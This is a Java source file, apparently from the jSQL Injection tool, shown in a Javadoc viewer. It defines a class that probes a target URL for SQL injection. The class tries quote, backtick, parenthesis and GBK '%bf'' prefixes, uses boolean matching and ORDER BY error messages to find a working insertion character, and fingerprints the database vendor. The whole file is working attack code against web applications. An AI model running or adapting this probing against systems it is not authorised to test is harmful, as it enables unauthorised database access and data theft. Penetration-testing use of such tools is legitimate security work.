View Javadoc
1   package com.jsql.model.suspendable;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.bean.util.Header;
5   import com.jsql.model.bean.util.Interaction;
6   import com.jsql.model.bean.util.Request;
7   import com.jsql.model.exception.JSqlException;
8   import com.jsql.model.exception.StoppedByUserSlidingException;
9   import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
10  import com.jsql.model.injection.vendor.MediatorVendor;
11  import com.jsql.model.injection.vendor.model.Vendor;
12  import com.jsql.model.suspendable.callable.CallablePageSource;
13  import com.jsql.util.I18nUtil;
14  import com.jsql.util.LogLevelUtil;
15  import org.apache.commons.lang3.RandomStringUtils;
16  import org.apache.commons.lang3.StringUtils;
17  import org.apache.logging.log4j.LogManager;
18  import org.apache.logging.log4j.Logger;
19  
20  import java.util.*;
21  import java.util.concurrent.CompletionService;
22  import java.util.concurrent.ExecutionException;
23  import java.util.concurrent.ExecutorCompletionService;
24  import java.util.concurrent.ExecutorService;
25  import java.util.regex.Pattern;
26  import java.util.stream.Collectors;
27  import java.util.stream.Stream;
28  
29  /**
30   * Runnable class, define insertionCharacter to be used during injection,
31   * i.e -1 in "...php?id=-1 union select..", sometimes it's -1, 0', 0, etc.
32   * Find working insertion char when error message occurs in source.
33   * Force to 1 if no insertion char works and empty value from user,
34   * Force to user's value if no insertion char works,
35   * Force to insertion char otherwise.
36   */
37  public class SuspendableGetCharInsertion extends AbstractSuspendable {
38      
39      private static final Logger LOGGER = LogManager.getRootLogger();
40  
41      private static final String LABEL_PREFIX = "prefix";
42  
43      public SuspendableGetCharInsertion(InjectionModel injectionModel) {
44          super(injectionModel);
45      }
46  
47      @Override
48      public String run(Object... args) throws JSqlException {
49          String characterInsertionByUser = (String) args[0];
50          
51          ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetInsertionCharacter");
52          CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
53  
54          var charFromBooleanMatch = new String[1];
55          List<String> charactersInsertion = this.initCallables(taskCompletionService, charFromBooleanMatch);
56          
57          var mediatorVendor = this.injectionModel.getMediatorVendor();
58          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting database and character insertion with Order by match...");
59  
60          String charFromOrderBy = null;
61          
62          int total = charactersInsertion.size();
63          while (0 < total) {
64              if (this.isSuspended()) {
65                  throw new StoppedByUserSlidingException();
66              }
67              try {
68                  CallablePageSource currentCallable = taskCompletionService.take().get();
69                  total--;
70                  String pageSource = currentCallable.getContent();
71                  
72                  List<Vendor> vendorsOrderByMatch = this.getVendorsOrderByMatch(mediatorVendor, pageSource);
73                  if (!vendorsOrderByMatch.isEmpty()) {
74                      this.setVendor(mediatorVendor, vendorsOrderByMatch);
75                      
76                      LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Using [{}]", mediatorVendor.getVendor());
77                      var requestSetVendor = new Request();
78                      requestSetVendor.setMessage(Interaction.SET_VENDOR);
79                      Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
80                      msgHeader.put(Header.URL, this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlByUser());
81                      msgHeader.put(Header.VENDOR, mediatorVendor.getVendor());
82                      requestSetVendor.setParameters(msgHeader);
83                      this.injectionModel.sendToViews(requestSetVendor);
84                      
85                      charFromOrderBy = currentCallable.getCharacterInsertion();
86                      LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Character insertion [{}] matching with Order by and compatible with Error strategy", charFromOrderBy);
87                      break;
88                  }
89              } catch (InterruptedException e) {
90                  LOGGER.log(LogLevelUtil.IGNORE, e, e);
91                  Thread.currentThread().interrupt();
92              } catch (ExecutionException e) {
93                  LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
94              }
95          }
96          this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
97          if (charFromOrderBy == null && charFromBooleanMatch[0] != null) {
98              charFromOrderBy = charFromBooleanMatch[0];
99          }
100         return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
101     }
102 
103     private void setVendor(MediatorVendor mediatorVendor, List<Vendor> vendorsOrderByMatch) {
104         if (
105             vendorsOrderByMatch.size() == 1
106             && vendorsOrderByMatch.get(0) != mediatorVendor.getVendor()
107         ) {
108             mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
109         } else if (vendorsOrderByMatch.size() > 1) {
110             if (vendorsOrderByMatch.contains(mediatorVendor.getPostgres())) {
111                 mediatorVendor.setVendor(mediatorVendor.getPostgres());
112             } else if (vendorsOrderByMatch.contains(mediatorVendor.getMysql())) {
113                 mediatorVendor.setVendor(mediatorVendor.getMysql());
114             } else {
115                 mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
116             }
117         }
118     }
119 
120     private List<Vendor> getVendorsOrderByMatch(MediatorVendor mediatorVendor, String pageSource) {
121         return mediatorVendor.getVendorsForFingerprint()
122             .stream()
123             .filter(vendor -> vendor != mediatorVendor.getAuto())
124             .filter(vendor -> StringUtils.isNotEmpty(
125                 vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
126             ))
127             .filter(vendor -> {
128                 Optional<String> optionalOrderByErrorMatch = Stream.of(
129                     vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
130                     .split("[\\r\\n]+")
131                 )
132                 .filter(errorMessage ->
133                     Pattern
134                     .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
135                     .matcher(pageSource)
136                     .matches()
137                 )
138                 .findAny();
139                 if (optionalOrderByErrorMatch.isPresent()) {
140                     LOGGER.log(
141                         LogLevelUtil.CONSOLE_SUCCESS,
142                         String.format("Order by fingerprint matching vendor [%s]", vendor)
143                     );
144                 }
145                 return optionalOrderByErrorMatch.isPresent();
146             })
147             .collect(Collectors.toList());
148     }
149 
150     private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] charFromBooleanMatch) throws JSqlException {
151         List<String> prefixValues = Arrays.asList(
152             RandomStringUtils.secure().next(10, "012"),  // to trigger probable failure
153             "1"  // to trigger eventual success
154         );
155         List<String> prefixQuotes = Arrays.asList(
156             SuspendableGetCharInsertion.LABEL_PREFIX +"'",
157             SuspendableGetCharInsertion.LABEL_PREFIX,
158             SuspendableGetCharInsertion.LABEL_PREFIX +"`",  // TODO add ITs
159             SuspendableGetCharInsertion.LABEL_PREFIX +"\"",
160             SuspendableGetCharInsertion.LABEL_PREFIX +"%bf'"  // GBK slash encoding use case
161         );
162         List<String> prefixParentheses = Arrays.asList(StringUtils.EMPTY, ")", "))");
163         List<String> charactersInsertion = new ArrayList<>();
164         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting character insertion with Boolean match...");
165         for (String prefixValue: prefixValues) {
166             for (String prefixQuote: prefixQuotes) {
167                 for (String prefixParenthesis: prefixParentheses) {
168                     this.checkInsertionChar(charFromBooleanMatch, charactersInsertion, prefixValue, prefixQuote, prefixParenthesis);
169                 }
170             }
171         }
172         for (String characterInsertion: charactersInsertion) {
173             taskCompletionService.submit(
174                 new CallablePageSource(
175                     characterInsertion
176                     + StringUtils.SPACE  // covered by cleaning
177                     + this.injectionModel.getMediatorVendor().getVendor().instance().sqlOrderBy(),
178                     characterInsertion,
179                     this.injectionModel,
180                     "prefix#orderby"
181                 )
182             );
183         }
184         return charactersInsertion;
185     }
186 
187     private void checkInsertionChar(
188         String[] charFromBooleanMatch,
189         List<String> charactersInsertion,
190         String prefixValue,
191         String prefixQuote,
192         String prefixParenthesis
193     ) throws StoppedByUserSlidingException {
194         String characterInsertion = prefixQuote.replace(SuspendableGetCharInsertion.LABEL_PREFIX, prefixValue) + prefixParenthesis;
195         charactersInsertion.add(characterInsertion);
196         // Skipping Boolean match when already found
197         if (charFromBooleanMatch[0] == null) {
198             var injectionCharInsertion = new InjectionCharInsertion(
199                 this.injectionModel,
200                 characterInsertion,
201                 prefixQuote + prefixParenthesis
202             );
203             if (injectionCharInsertion.isInjectable()) {
204                 if (this.isSuspended()) {
205                     throw new StoppedByUserSlidingException();
206                 }
207                 charFromBooleanMatch[0] = characterInsertion;
208                 LOGGER.log(
209                     LogLevelUtil.CONSOLE_SUCCESS,
210                     "Found character insertion [{}] using Boolean match",
211                     () -> charFromBooleanMatch[0]
212                 );
213             }
214         }
215     }
216     
217     private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
218         String characterInsertionDetectedFixed = characterInsertionDetected;
219         if (characterInsertionDetectedFixed == null) {
220             characterInsertionDetectedFixed = characterInsertionByUser;
221             String logCharacterInsertion = characterInsertionDetectedFixed;
222             LOGGER.log(
223                 LogLevelUtil.CONSOLE_ERROR,
224                 "No character insertion found, forcing to [{}]",
225                 () -> logCharacterInsertion.replace(InjectionModel.STAR, StringUtils.EMPTY)
226             );
227         } else if (!characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY).equals(characterInsertionDetectedFixed)) {
228             String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY);
229             LOGGER.log(
230                 LogLevelUtil.CONSOLE_INFORM,
231                 "Using [{}] and matching [{}]",
232                 () -> this.injectionModel.getMediatorVendor().getVendor(),
233                 () -> characterInsertionDetected
234             );
235             LOGGER.log(
236                 LogLevelUtil.CONSOLE_DEFAULT,
237                 "Disable search for char insertion in Preferences to force the value [{}]",
238                 () -> characterInsertionByUserFormat
239             );
240         } else {
241             LOGGER.log(
242                 LogLevelUtil.CONSOLE_INFORM,
243                 "{} [{}]",
244                 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
245                 () -> characterInsertionDetected.replace(InjectionModel.STAR, StringUtils.EMPTY)
246             );
247         }
248         return characterInsertionDetectedFixed;
249     }
250 }